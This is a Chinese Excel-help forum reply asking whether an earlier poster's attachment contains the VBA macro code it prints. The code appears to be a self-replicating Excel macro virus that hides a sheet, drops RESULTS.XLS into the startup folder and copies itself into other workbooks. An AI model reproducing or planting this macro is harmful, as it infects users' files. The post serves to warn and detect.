excel字符串和单元格拼接_单元格引用问题（引用的单元格与字符串变量连接）...

楼上的附件中包含如下代码吗：

Sub auto_open()

Application.OnSheetActivate = "ck_files"

End Sub

Sub ck_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "RESULTS.XLS")

If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("results").Visible = True

Sheets("results").Select

Sheets("results").Copy

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("results").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "results" Then

Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("results").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case Else

End Select

End Sub